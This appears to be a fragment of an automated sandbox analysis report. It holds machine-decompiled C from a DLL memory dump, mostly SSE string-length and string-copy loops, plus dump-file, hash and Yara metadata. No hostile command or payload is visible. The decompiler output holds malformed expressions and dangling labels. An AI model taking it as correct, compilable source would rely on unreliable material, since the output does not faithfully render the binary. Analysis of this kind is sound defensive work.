																									 *(_t273 + _t296 * 4) = _t440;
																									__eflags = _t440;
																									if(_t440 != 0) {
																										continue;
																									}
																									break;
																								}
																								_t422 = _a4;
																								_t296 = 0;
																								__eflags = 0;
																								goto L141;
																							}
																						}
																						_t273 = _t296;
																						goto L144;
																					}
																					_t382 = _t336 & 0x0000000f;
																					__eflags = _t382;
																					if(_t382 == 0) {
																						L124:
																						_t407 =  ~( ~_t382 + 0x00000007 & 0x00000007) + 0x7fffffff;
																						__eflags = _t407;
																						while(1) {
																							asm("movdqu xmm1, [ecx+edx*2]");
																							asm("pcmpeqw xmm1, xmm0");
																							asm("pmovmskb eax, xmm1");
																							__eflags = _t260;
																							if(_t260 != 0) {
																								break;
																							}
																							_t382 = _t382 + 8;
																							__eflags = _t382 - _t407;
																							if(_t382 < _t407) {
																								continue;
																							}
																							__eflags = _t407 - 0x7fffffff;
																							if(_t407 >= 0x7fffffff) {
																								L130:
																								_t407 = 0x7fffffff;
																								goto L131;
																							} else {
																								goto L128;
																							}
																							while(1) {
																								L128:
																								__eflags =  *(_t336 + _t407 * 2) & 0x0000ffff;
																								if(( *(_t336 + _t407 * 2) & 0x0000ffff) == 0) {
																									goto L131;
																								}
																								_t407 = _t407 + 1;
																								__eflags = _t407 - 0x7fffffff;
																								if(_t407 < 0x7fffffff) {
																									continue;
																								}
																								goto L130;
																							}
																							goto L131;
																						}
																						asm("bsf edi, eax");
																						_t407 = (_t407 >> 1) + _t382;
																						goto L131;
																					}
																					_t407 = _t296;
																					__eflags = _t382 & 0x00000001;
																					if((_t382 & 0x00000001) != 0) {
																						goto L128;
																					}
																					_t382 =  ~_t382 + 0x10 >> 1;
																					__eflags = _t382;
																					while(1) {
																						_t260 =  *(_t336 + _t407 * 2) & 0x0000ffff;
																						__eflags = _t260;
																						if(_t260 == 0) {
																							goto L131;
																						}
																						_t407 = _t407 + 1;
																						__eflags = _t407 - _t382;
																						if(_t407 < _t382) {
																							continue;
																						}
																						goto L124;
																					}
																					goto L131;
																				}
																				__eflags = _t407 - _t365;
																				if(_t407 <= _t365) {
																					goto L116;
																				}
																				goto L115;
																			} else {
																				goto L110;
																			}
																			while(1) {
																				L110:
																				__eflags =  *(_t335 + _t362 * 2) & 0x0000ffff;
																				if(( *(_t335 + _t362 * 2) & 0x0000ffff) == 0) {
																					goto L113;
																				}
																				_t362 = _t362 + 1;
																				__eflags = _t362 - 0x7fffffff;
																				if(_t362 < 0x7fffffff) {
																					continue;
																				}
																				goto L112;
																			}
																			goto L113;
																		}
																		_t363 = _t296;
																		_t296 = 0;
																		asm("bsf edx, edx");
																		_t362 = (_t363 >> 1) + _t257;
																		goto L113;
																	}
																	_t362 = 0;
																	__eflags = _t257 & 0x00000001;
																	if((_t257 & 0x00000001) != 0) {
																		goto L110;
																	}
																	_t257 =  ~_t257 + 0x10 >> 1;
																	__eflags = _t257;
																	while(1) {
																		__eflags =  *(_t335 + _t362 * 2) & 0x0000ffff;
																		if(( *(_t335 + _t362 * 2) & 0x0000ffff) == 0) {
																			break;
																		}
																		_t362 = _t362 + 1;
																		__eflags = _t362 - _t257;
																		if(_t362 < _t257) {
																			continue;
																		}
																		_t296 = 0;
																		__eflags = 0;
																		goto L106;
																	}
																	_t296 = 0;
																	goto L113;
																}
																_push(0x80);
																 *_t422 = 0;
																_t422[1] = 0;
																_t399 = E6EFF1030();
																_t447 = _t447 + 4;
																_t338 =  *_t422;
																__eflags = _t338;
																if(_t338 == 0) {
																	 *_t399 = 0;
																	goto L62;
																}
																__eflags = _t399;
																if(_t399 == 0) {
																	L98:
																	_push(2);
																	_push(_t338);
																	E6EFF10B0();
																	_t447 = _t447 + 8;
																	goto L62;
																}
																_t386 =  *_t338 & 0x0000ffff;
																 *_t399 = _t386;
																__eflags = _t386;
																if(_t386 == 0) {
																	goto L98;
																}
																_t387 = 0;
																while(1) {
																	_t387 = _t387 + 1;
																	_t280 =  *(_t338 + _t387 * 4 - 2) & 0x0000ffff;
																	 *(_t399 + _t387 * 4 - 2) = _t280;
																	__eflags = _t280;
																	if(_t280 == 0) {
																		goto L98;
																	}
																	_t281 =  *(_t338 + _t387 * 4) & 0x0000ffff;
																	 *(_t399 + _t387 * 4) = _t281;
																	__eflags = _t281;
																	if(_t281 != 0) {
																		continue;
																	}
																	goto L98;
																}
																goto L98;
															}
															_t354 = _t354 + 1;
															__eflags = _t354 - _v68;
															if(_t354 < _v68) {
																continue;
															}
															goto L90;
														}
														_t356 = _t404 + 2;
														__eflags = _t356;
														if(_t356 == 0) {
															goto L53;
														}
														__eflags =  *(_t404 + 2) & 0x0000ffff;
														if(( *(_t404 + 2) & 0x0000ffff) == 0) {
															goto L53;
														}
														_v44 = _t404;
														_t255 = 0;
														__eflags = 0;
														while(1) {
															_t255 = _t255 + 1;
															_t404 = _v44 + _t255 * 2;
															_t331 =  *_t404 & 0x0000ffff;
															__eflags = ( *(_t356 + _t255 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
															_t332 =  <=  ? _t331 + 0x20 : _t331;
															__eflags = ( <=  ? _t331 + 0x20 : _t331) - _v48;
															if(( <=  ? _t331 + 0x20 : _t331) == _v48) {
																break;
															}
															__eflags =  *(_t356 + _t255 * 2) & 0x0000ffff;
															if(( *(_t356 + _t255 * 2) & 0x0000ffff) != 0) {
																continue;
															}
															goto L53;
														}
														_t432 = _v64;
														_t299 = _v56;
														_t326 = _v52;
														goto L70;
													}
													_v32 = _t333;
													L163:
													__eflags = _t251;
													if(__eflags == 0) {
														goto L84;
													}
													if(__eflags > 0) {
														goto L85;
													}
													goto L90;
												}
												_t441 = _v32;
												_t353 = _t299;
												while(1) {
													__eflags =  *(_t441 + _t251 * 2) & 0x0000ffff;
													if(( *(_t441 + _t251 * 2) & 0x0000ffff) == 0) {
														break;
													}
													_t251 = _t251 + 1;
													__eflags = _t251 - _t299;
													if(_t251 < _t299) {
														continue;
													}
													_v32 = _t441;
													_t326 = _v52;
													goto L76;
												}
												_v32 = _t441;
												goto L163;
												L76:
												_t300 = _v32;
												_t248 =  ~( ~_t353 + 0x00000007 & 0x00000007) + 0x7fffffff;
												__eflags = _t248;
												while(1) {
													asm("movdqu xmm1, [ebx+edx*2]");
													asm("pcmpeqw xmm1, xmm0");
													asm("pmovmskb ecx, xmm1");
													__eflags = _t326;
													if(_t326 != 0) {
														break;
													}
													_t353 = _t353 + 8;
													__eflags = _t353 - _t248;
													if(_t353 < _t248) {
														continue;
													}
													_v32 = _t300;
													__eflags = _t248 - 0x7fffffff;
													if(_t248 >= 0x7fffffff) {
														goto L84;
													}
													goto L80;
												}
												asm("bsf eax, eax");
												_v32 = _t300;
												_t251 = (_t326 >> 1) + _t353;
												goto L163;
											}
										}
										goto L40;
									}
									_t283 =  *_t321 & 0x0000ffff;
									 *_t421 = _t283;
									__eflags = _t283;
									if(_t283 == 0) {
										goto L34;
									}
									_v68 = _t398;
									_t284 = _t296;
									while(1) {
										_t284 = _t284 + 1;
										_t414 =  *(_t321 + _t284 * 4 - 2) & 0x0000ffff;
										 *(_t421 + _t284 * 4 - 2) = _t414;
										__eflags = _t414;
										if(_t414 == 0) {
											break;
										}
										_t415 =  *(_t321 + _t284 * 4) & 0x0000ffff;
										 *(_t421 + _t284 * 4) = _t415;
										__eflags = _t415;
										if(_t415 != 0) {
											continue;
										}
										break;
									}
									_t398 = _v68;
									goto L34;
								}
							}
							_t421 = _v40;
							goto L37;
						}
						_t288 = _t417 & 0x0000000f;
						__eflags = _t288;
						if(_t288 == 0) {
							L16:
							asm("pxor xmm0, xmm0");
							_t395 =  ~( ~_t288 + 0x00000007 & 0x00000007) + 0x7fffffff;
							__eflags = _t395;
							while(1) {
								asm("movdqu xmm1, [esi+eax*2]");
								asm("pcmpeqw xmm1, xmm0");
								asm("pmovmskb ecx, xmm1");
								__eflags = _t312;
								if(_t312 != 0) {
									break;
								}
								_t288 = _t288 + 8;
								__eflags = _t288 - _t395;
								if(_t288 < _t395) {
									continue;
								}
								__eflags = _t395 - 0x7fffffff;
								if(_t395 >= 0x7fffffff) {
									L22:
									_t418 = 0x40;
									_t345 = 0x7fffffff;
									goto L23;
								} else {
									goto L20;
								}
								while(1) {
									L20:
									__eflags =  *(_t417 + _t395 * 2) & 0x0000ffff;
									if(( *(_t417 + _t395 * 2) & 0x0000ffff) == 0) {
										break;
									}
									_t395 = _t395 + 1;
									__eflags = _t395 - 0x7fffffff;
									if(_t395 < 0x7fffffff) {
										continue;
									}
									goto L22;
								}
								L64:
								__eflags = _t345 - 0xfffffffe;
								if(_t345 != 0xfffffffe) {
									_t418 = 0x40;
								} else {
									 *_t417 = _t296;
									_t418 = _v36;
								}
								goto L23;
							}
							asm("bsf edx, ecx");
							_t345 = (_t395 >> 1) + _t288;
							goto L64;
						}
						_t395 = _t296;
						__eflags = _t288 & 0x00000001;
						if((_t288 & 0x00000001) != 0) {
							goto L20;
						}
						_t288 =  ~_t288 + 0x10 >> 1;
						__eflags = _t288;
						while(1) {
							_t312 =  *(_t417 + _t395 * 2) & 0x0000ffff;
							__eflags = _t312;
							if(_t312 == 0) {
								goto L64;
							}
							_t395 = _t395 + 1;
							__eflags = _t395 - _t288;
							if(_t395 < _t288) {
								continue;
							}
							goto L16;
						}
						goto L64;
					}
					_t227 =  &_v40;
					goto L38;
				}
				if(_t417 == 0) {
					L6:
					_push(2);
					_push(_t344);
					E6EFF10B0();
					_t447 = _t447 + 8;
					goto L8;
				}
				_t293 =  *_t344 & 0x0000ffff;
				 *_t417 = _t293;
				if(_t293 == 0) {
					goto L6;
				}
				_t294 = 0;
				while(1) {
					_t294 = _t294 + 1;
					_t312 =  *(_t344 + _t294 * 4 - 2) & 0x0000ffff;
					 *(_t417 + _t294 * 4 - 2) = _t312;
					if(_t312 == 0) {
						goto L6;
					}
					_t312 =  *(_t344 + _t294 * 4) & 0x0000ffff;
					 *(_t417 + _t294 * 4) = _t312;
					if(_t312 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6effa660
0x6effa66c
0x6effa66e
0x6effa672
0x6effa674
0x6effa678
0x6effa682
0x6effa684
0x6effa687
0x6effa68d
0x6effa6c7
0x6effa6ca
0x6effa6ce
0x6effa6d6
0x6effa6dc
0x6effa6e7
0x6effa6e9
0x6effae6d
0x6effae72
0x6effa76d
0x6effa772
0x6effa772
0x6effa775
0x6effa778
0x6effa77b
0x6effa77d
0x6effa792
0x6effa795
0x6effa795
0x6effa79a
0x6effa7a2
0x6effa7a2
0x6effa7a2
0x6effa7a3
0x6effa7aa
0x6effa7b4
0x6effa7b8
0x6effa7b9
0x6effa7bd
0x6effa7c2
0x6effa7c6
0x6effa7c8
0x6effa7cb
0x6effa7cf
0x6effa7d1
0x6effa819
0x00000000
0x6effa7d3
0x6effa7d3
0x6effa7d5
0x6effa804
0x6effa804
0x6effa806
0x6effa807
0x6effa80b
0x6effa810
0x6effa814
0x6effa81c
0x6effa820
0x6effa824
0x6effa828
0x6effa82c
0x6effa830
0x6effa836
0x6effa83b
0x6effa83b
0x6effa83d
0x6effa842
0x6effa84b
0x6effa84b
0x6effa850
0x6effa852
0x6effa85a
0x6effa85c
0x6effa85f
0x6effa863
0x6effa8a0
0x6effa94a
0x6effa94a
0x6effa94c
0x6effa953
0x6effa953
0x6effa955
0x6effa959
0x6effa961
0x6effa967
0x6effa974
0x6effa974
0x6effa867
0x6effa890
0x6effa890
0x6effa892
0x6effa893
0x6effa898
0x00000000
0x6effa898
0x6effa869
0x6effa86c
0x6effa871
0x00000000
0x00000000
0x6effa873
0x6effa875
0x6effa875
0x6effa876
0x6effa87b
0x6effa882
0x00000000
0x00000000
0x6effa884
0x6effa888
0x6effa88e
0x00000000
0x00000000
0x00000000
0x6effa88e
0x00000000
0x6effa875
0x6effa844
0x6effa849
0x6effa8a8
0x6effa8aa
0x6effa8ac
0x6effa8f5
0x6effa8f5
0x6effa8fa
0x6effa8fc
0x6effa904
0x6effa906
0x6effa909
0x6effa90b
0x6effa90d
0x6effa947
0x00000000
0x6effa947
0x6effa90f
0x6effa911
0x6effa93a
0x6effa93a
0x6effa93c
0x6effa93d
0x6effa942
0x00000000
0x6effa942
0x6effa913
0x6effa916
0x6effa919
0x6effa91b
0x00000000
0x00000000
0x6effa91d
0x6effa91f
0x6effa91f
0x6effa920
0x6effa925
0x6effa92a
0x6effa92c
0x00000000
0x00000000
0x6effa92e
0x6effa932
0x6effa936
0x6effa938
0x00000000
0x00000000
0x00000000
0x6effa938
0x00000000
0x6effa91f
0x6effa8b1
0x6effa8b3
0x00000000
0x00000000
0x6effa8b5
0x6effa8bc
0x6effa8c2
0x6effa8c5
0x6effa8c7
0x6effa8ca
0x6effa8ce
0x6effa8ce
0x6effa8d5
0x6effa8db
0x6effa8de
0x6effa8e1
0x00000000
0x00000000
0x6effa8e7
0x6effa8ec
0x6effa8ee
0x00000000
0x00000000
0x6effa8f0
0x6effa8f0
0x6effa8f3
0x6effa8f3
0x00000000
0x6effa8f3
0x6effa992
0x6effa996
0x6effa999
0x6effa99c
0x6effa99e
0x6effa9a0
0x00000000
0x00000000
0x6effa9a8
0x6effa9ab
0x6effa9af
0x6effa9b7
0x6effa9bf
0x6effa9c3
0x6effa9c7
0x6effa9cb
0x6effa9cf
0x6effa9d3
0x6effa9d7
0x6effa9e7
0x6effa9e7
0x6effa9e7
0x6effa9e9
0x6effa9eb
0x00000000
0x00000000
0x6effa9ed
0x6effa9ef
0x6effa9f1
0x6effaa5a
0x6effaa5a
0x6effaa5e
0x6effaa62
0x6effaa64
0x00000000
0x00000000
0x6effaa6a
0x6effaa6b
0x6effaa70
0x00000000
0x00000000
0x6effaa72
0x6effaa7a
0x6effaa7a
0x6effaa7f
0x6effaa7f
0x6effaa82
0x6effaa82
0x6effaa84
0x6effaa88
0x6effaa8c
0x6effaa93
0x6effaa99
0x6effaa9f
0x6effaaa2
0x6effaaa8
0x6effaaab
0x6effaaae
0x00000000
0x00000000
0x6effaaba
0x6effaabc
0x6effaac4
0x6effaac4
0x6effaac8
0x6effaaca
0x6effaacd
0x6effaacf
0x00000000
0x00000000
0x6effaad5
0x6effaad5
0x6effaad7
0x6effaad9
0x6effab3a
0x6effab3a
0x6effab3d
0x6effab5f
0x6effab6b
0x6effab6b
0x6effab71
0x6effab71
0x6effab76
0x6effab7a
0x6effab7e
0x6effab80
0x00000000
0x00000000
0x6effab86
0x6effab89
0x6effab8b
0x00000000
0x00000000
0x6effab8d
0x6effab8f
0x6effab95
0x6effaba8
0x6effaba8
0x6effabad
0x6effabb2
0x6effabb4
0x6effabb6
0x6effabb8
0x6effabbe
0x6effabbe
0x6effabc0
0x6effabc0
0x6effabc2
0x6effabc5
0x6effabc8
0x6effabca
0x6effad2f
0x6effad2f
0x6effad39
0x6effad3b
0x6effad3e
0x6effad40
0x6effad42
0x6effad7f
0x00000000
0x6effad7f
0x6effad44
0x6effad46
0x6effad6f
0x6effad6f
0x6effad71
0x6effad72
0x6effad77
0x00000000
0x6effad77
0x6effad48
0x6effad4b
0x6effad4e
0x6effad50
0x00000000
0x00000000
0x6effad52
0x6effad54
0x6effad54
0x6effad55
0x6effad5a
0x6effad5f
0x6effad61
0x00000000
0x00000000
0x6effad63
0x6effad67
0x6effad6b
0x6effad6d
0x00000000
0x00000000
0x00000000
0x6effad6d
0x00000000
0x6effad54
0x6effabd3
0x6effabd5
0x00000000
0x00000000
0x6effabdb
0x6effabdd
0x6effac4d
0x6effac52
0x6effac52
0x6effac55
0x6effac58
0x6effac5b
0x6effac5d
0x6effac70
0x6effac73
0x6effac73
0x6effac79
0x6effac81
0x6effac81
0x6effac81
0x6effac82
0x6effac89
0x6effac93
0x6effac97
0x6effac98
0x6effac9c
0x6effaca1
0x6effaca5
0x6effaca8
0x6effacaa
0x6effacac
0x6effacfc
0x00000000
0x6effacae
0x6effacae
0x6effacb0
0x6effacdf
0x6effacdf
0x6efface1
0x6efface2
0x6efface6
0x6effacea
0x6effacef
0x6effacf3
0x6effacf7
0x6effacff
0x6effad03
0x6effad06
0x6effad08
0x6effad08
0x6effad0a
0x00000000
0x00000000
0x6effad10
0x6effad1a
0x6effad1a
0x6effad1d
0x6effad1e
0x6effad21
0x6effad23
0x00000000
0x00000000
0x6effad25
0x6effad27
0x6effad8e
0x6effad90
0x00000000
0x6effad90
0x6effad29
0x6effad29
0x6effad2b
0x6effad99
0x00000000
0x6effad99
0x6effad14
0x6effad17
0x6effad17
0x6effad17
0x6effad1a
0x6effacb2
0x6effacb5
0x6effacb8
0x6effacba
0x6effacbd
0x00000000
0x00000000
0x00000000
0x00000000
0x6effacbf
0x6effacbf
0x6effacbf
0x6effacc0
0x6effacc5
0x6effacca
0x6effaccc
0x00000000
0x00000000
0x6effacce
0x6effacd2
0x6effacd6
0x6effacd8
0x00000000
0x00000000
0x00000000
0x6effacd8
0x6effacda
0x6effacdd
0x6effacdd
0x00000000
0x6effacdd
0x6effacac
0x6effac5f
0x00000000
0x6effac5f
0x6effabe1
0x6effabe1
0x6effabe4
0x6effac01
0x6effac0d
0x6effac0d
0x6effac13
0x6effac13
0x6effac18
0x6effac1c
0x6effac20
0x6effac22
0x00000000
0x00000000
0x6effac28
0x6effac2b
0x6effac2d
0x00000000
0x00000000
0x6effac2f
0x6effac35
0x6effac48
0x6effac48
0x00000000
0x00000000
0x00000000
0x00000000
0x6effac37
0x6effac37
0x6effac3b
0x6effac3d
0x00000000
0x00000000
0x6effac3f
0x6effac40
0x6effac46
0x00000000
0x00000000
0x00000000
0x6effac46
0x00000000
0x6effac37
0x6effadbf
0x6effadc4
0x00000000
0x6effadc4
0x6effabe6
0x6effabe8
0x6effabeb
0x00000000
0x00000000
0x6effabf2
0x6effabf2
0x6effabf4
0x6effabf4
0x6effabf8
0x6effabfa
0x00000000
0x00000000
0x6effabfc
0x6effabfd
0x6effabff
0x00000000
0x00000000
0x00000000
0x6effabff
0x00000000
0x6effabf4
0x6effabba
0x6effabbc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6effab97
0x6effab97
0x6effab9b
0x6effab9d
0x00000000
0x00000000
0x6effab9f
0x6effaba0
0x6effaba6
0x00000000
0x00000000
0x00000000
0x6effaba6
0x00000000
0x6effab97
0x6effadcb
0x6effadcd
0x6effadcf
0x6effadd4
0x00000000
0x6effadd4
0x6effab3f
0x6effab41
0x6effab43
0x00000000
0x00000000
0x6effab4a
0x6effab4a
0x6effab4c
0x6effab50
0x6effab52
0x00000000
0x00000000
0x6effab58
0x6effab59
0x6effab5b
0x00000000
0x00000000
0x6effab5d
0x6effab5d
0x00000000
0x6effab5d
0x6effad87
0x00000000
0x6effad87
0x6effaadb
0x6effaae0
0x6effaae2
0x6effaaea
0x6effaaec
0x6effaaef
0x6effaaf1
0x6effaaf3
0x6effab30
0x00000000
0x6effab30
0x6effaaf5
0x6effaaf7
0x6effab20
0x6effab20
0x6effab22
0x6effab23
0x6effab28
0x00000000
0x6effab28
0x6effaaf9
0x6effaafc
0x6effaaff
0x6effab01
0x00000000
0x00000000
0x6effab03
0x6effab05
0x6effab05
0x6effab06
0x6effab0b
0x6effab10
0x6effab12
0x00000000
0x00000000
0x6effab14
0x6effab18
0x6effab1c
0x6effab1e
0x00000000
0x00000000
0x00000000
0x6effab1e
0x00000000
0x6effab05
0x6effaabe
0x6effaabf
0x6effaac2
0x00000000
0x00000000
0x00000000
0x6effaac2
0x6effade9
0x6effade9
0x6effadec
0x00000000
0x00000000
0x6effadf6
0x6effadf8
0x00000000
0x00000000
0x6effadfe
0x6effae02
0x6effae02
0x6effae04
0x6effae04
0x6effae0e
0x6effae11
0x6effae17
0x6effae21
0x6effae24
0x6effae27
0x00000000
0x00000000
0x6effae31
0x6effae33
0x00000000
0x00000000
0x00000000
0x6effae35
0x6effa9db
0x6effa9df
0x6effa9e3
0x00000000
0x6effa9e3
0x6effae3a
0x6effadac
0x6effadac
0x6effadae
0x00000000
0x00000000
0x6effadb4
0x00000000
0x00000000
0x00000000
0x6effadba
0x6effa9f3
0x6effa9f7
0x6effa9f9
0x6effa9fd
0x6effa9ff
0x00000000
0x00000000
0x6effaa05
0x6effaa06
0x6effaa08
0x00000000
0x00000000
0x6effaa0a
0x6effaa12
0x00000000
0x6effaa12
0x6effada0
0x00000000
0x6effaa16
0x6effaa22
0x6effaa26
0x6effaa26
0x6effaa2b
0x6effaa2b
0x6effaa30
0x6effaa34
0x6effaa38
0x6effaa3a
0x00000000
0x00000000
0x6effaa40
0x6effaa43
0x6effaa45
0x00000000
0x00000000
0x6effaa47
0x6effaa53
0x6effaa58
0x00000000
0x00000000
0x00000000
0x6effaa58
0x6effae49
0x6effae4e
0x6effae52
0x00000000
0x6effae58
0x6effa9e7
0x00000000
0x6effa849
0x6effa7d7
0x6effa7da
0x6effa7dd
0x6effa7df
0x00000000
0x00000000
0x6effa7e1
0x6effa7e4
0x6effa7e6
0x6effa7e6
0x6effa7e7
0x6effa7ec
0x6effa7f1
0x6effa7f3
0x00000000
0x00000000
0x6effa7f5
0x6effa7f9
0x6effa7fd
0x6effa7ff
0x00000000
0x00000000
0x00000000
0x6effa7ff
0x6effa801
0x00000000
0x6effa801
0x6effa7d1
0x6effa77f
0x00000000
0x6effa77f
0x6effa6f1
0x6effa6f1
0x6effa6f4
0x6effa714
0x6effa718
0x6effa724
0x6effa724
0x6effa72a
0x6effa72a
0x6effa72f
0x6effa733
0x6effa737
0x6effa739
0x00000000
0x00000000
0x6effa73f
0x6effa742
0x6effa744
0x00000000
0x00000000
0x6effa746
0x6effa74c
0x6effa763
0x6effa763
0x6effa768
0x00000000
0x00000000
0x00000000
0x00000000
0x6effa74e
0x6effa74e
0x6effa752
0x6effa754
0x00000000
0x00000000
0x6effa75a
0x6effa75b
0x6effa761
0x00000000
0x00000000
0x00000000
0x6effa761
0x6effa977
0x6effa977
0x6effa97a
0x6effa988
0x6effa97c
0x6effa97c
0x6effa97f
0x6effa97f
0x00000000
0x6effa97a
0x6effae61
0x6effae66
0x00000000
0x6effae66
0x6effa6f6
0x6effa6f8
0x6effa6fa
0x00000000
0x00000000
0x6effa701
0x6effa701
0x6effa703
0x6effa703
0x6effa707
0x6effa709
0x00000000
0x00000000
0x6effa70f
0x6effa710
0x6effa712
0x00000000
0x00000000
0x00000000
0x6effa712
0x00000000
0x6effa703
0x6effa6de
0x00000000
0x6effa6de
0x6effa691
0x6effa6ba
0x6effa6ba
0x6effa6bc
0x6effa6bd
0x6effa6c2
0x00000000
0x6effa6c2
0x6effa693
0x6effa696
0x6effa69b
0x00000000
0x00000000
0x6effa69d
0x6effa69f
0x6effa69f
0x6effa6a0
0x6effa6a5
0x6effa6ac
0x00000000
0x00000000
0x6effa6ae
0x6effa6b2
0x6effa6b8
0x00000000
0x00000000
0x00000000
0x6effa6b8
0x00000000

Strings

@, xrefs: 6EFFA6CE

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ae6b3e210800e4c3dadabf5ebb6fe57ad04fee7b8c08fcbeb00b4035cedc0044
Instruction ID: e9d5982d5c39dbb963e990eb6493bcba311cc2b3e0e6f909beca9a12dc3d17c5
Opcode Fuzzy Hash: ae6b3e210800e4c3dadabf5ebb6fe57ad04fee7b8c08fcbeb00b4035cedc0044
Instruction Fuzzy Hash: 1332D172A14B13CBD3148FA9C47022AB3E2BFC4754B65862DE8A59B3A4FB35D847C351

Uniqueness

Uniqueness Score: -1.00%

Function 6F001EB0, Relevance: 1.9, Strings: 1, Instructions: 682
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6F001EB0(intOrPtr* __ecx, void* __eflags, signed int* _a4, char _a8) {
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char* _t210;
				signed int _t211;
				signed int* _t217;
				char* _t221;
				signed int* _t222;
				intOrPtr _t227;
				signed int _t232;
				signed int _t235;
				signed int _t239;
				signed int _t241;
				signed int* _t247;
				signed int _t248;
				signed int _t250;
				signed int _t252;
				signed int _t253;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				signed int _t259;
				signed int _t260;
				signed int _t265;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				char _t276;
				signed int _t278;
				signed int _t279;
				signed int _t282;
				signed int _t283;
				intOrPtr* _t286;
				signed int _t287;
				signed int _t291;
				signed int _t293;
				signed int _t294;
				void* _t296;
				signed int _t299;
				signed int _t300;
				signed int _t302;
				signed int _t303;
				char _t304;
				char _t305;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				void* _t320;
				signed int _t321;
				signed int _t322;
				signed int _t323;
				intOrPtr* _t325;
				char _t326;
				signed int _t327;
				intOrPtr* _t329;
				signed int _t330;
				signed int _t331;
				void* _t333;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				void* _t339;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				void* _t343;
				intOrPtr* _t351;
				signed int _t352;
				signed int _t353;
				signed int _t355;
				char _t357;
				signed int _t360;
				signed int _t361;
				signed int _t366;
				char _t368;
				char _t369;
				char _t370;
				signed int _t372;
				unsigned int _t377;
				signed int _t379;
				intOrPtr _t381;
				signed int _t385;
				signed int _t386;
				signed char* _t392;
				signed int _t393;
				signed int _t395;
				signed int _t401;
				signed int _t402;
				unsigned int _t408;
				signed int _t410;
				void* _t411;
				signed int _t417;
				signed int _t421;
				signed int _t427;
				signed int _t428;
				void* _t431;

				_v56 = 0;
				_t286 = __ecx;
				_v52 = 0;
				_push(0x40);
				_t372 = E6EFF1030();
				_t431 = (_t428 & 0xfffffff0) - 0x34 + 4;
				_t210 = _v56;
				if(_t210 == 0) {
					 *_t372 = 0;
				} else {
					if(_t372 != 0) {
						_t368 =  *_t210;
						 *_t372 = _t368;
						if(_t368 != 0) {
							_t319 = 0;
							while(1) {
								_t319 = _t319 + 1;
								_t369 =  *((char*)(_t210 + _t319 * 2 - 1));
								 *((char*)(_t372 + _t319 * 2 - 1)) = _t369;
								if(_t369 == 0) {
									goto L6;
								}
								_t370 =  *((char*)(_t210 + _t319 * 2));
								 *((char*)(_t372 + _t319 * 2)) = _t370;
								if(_t370 != 0) {
									continue;
								}
								goto L6;
							}
						}
					}
					L6:
					_push(1);
					_push(_t210);
					E6EFF10B0();
					_t431 = _t431 + 8;
				}
				_t211 = _a8;
				_v52 = 0x40;
				_v56 = _t372;
				if(_t211 != 0) {
					__eflags = _t372;
					if(_t372 == 0) {
						_t302 = 0x40;
						_t401 = 0;
					} else {
						_t366 = _t372 & 0x0000000f;
						__eflags = _t366;
						if(_t366 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t427 =  ~( ~_t366 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t427;
							while(1) {
								asm("movdqu xmm1, [edi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t211;
								if(_t211 != 0) {
									break;
								}
								_t366 = _t366 + 0x10;
								__eflags = _t366 - _t427;
								if(_t366 < _t427) {
									continue;
								} else {
									__eflags = _t427 - 0x7fffffff;
									if(_t427 >= 0x7fffffff) {
										L21:
										_t302 = 0x40;
										_t401 = 0x7fffffff;
									} else {
										while(1) {
											__eflags =  *((char*)(_t427 + _t372));
											if( *((char*)(_t427 + _t372)) == 0) {
												goto L174;
											}
											_t427 = _t427 + 1;
											__eflags = _t427 - 0x7fffffff;
											if(_t427 < 0x7fffffff) {
												continue;
											} else {
												goto L21;
											}
											goto L22;
										}
										goto L174;
									}
								}
								goto L22;
							}
							asm("bsf esi, eax");
							_t401 = _t427 + _t366;
							goto L174;
						} else {
							_t401 = 0;
							_t366 =  ~_t366 + 0x10;
							__eflags = _t366;
							while(1) {
								__eflags =  *((char*)(_t401 + _t372));
								if( *((char*)(_t401 + _t372)) == 0) {
									break;
								}
								_t401 = _t401 + 1;
								__eflags = _t401 - _t366;
								if(_t401 < _t366) {
									continue;
								} else {
									goto L15;
								}
								goto L22;
							}
							L174:
							__eflags = _t401 - 0xfffffffe;
							if(_t401 != 0xfffffffe) {
								_t302 = 0x40;
							} else {
								 *_t372 = 0;
								_t302 = _v52;
							}
						}
					}
					L22:
					_t20 = _t401 + 2; // 0x80000001
					_t320 = _t20;
					__eflags = _t320 - 0x40;
					_t321 =  <=  ? 0x40 : _t320;
					__eflags = _t302 - _t321;
					if(_t302 < _t321) {
						_t377 = (_t321 >> 5 >> 0x1a) + _t321 >> 6;
						_t322 = _t321 & 0x8000003f;
						__eflags = _t322;
						if(_t322 < 0) {
							_t322 = (_t322 - 0x00000001 | 0xffffffc0) + 1;
							__eflags = _t322;
						}
						__eflags = _t322;
						_t379 = _t377 + (0 | _t322 > 0x00000000) << 6;
						_push(_t379);
						_t303 = E6EFF1030();
						_t431 = _t431 + 4;
						_t323 = _v56;
						__eflags = _t323;
						if(_t323 == 0) {
							 *_t303 = 0;
						} else {
							__eflags = _t303;
							if(_t303 != 0) {
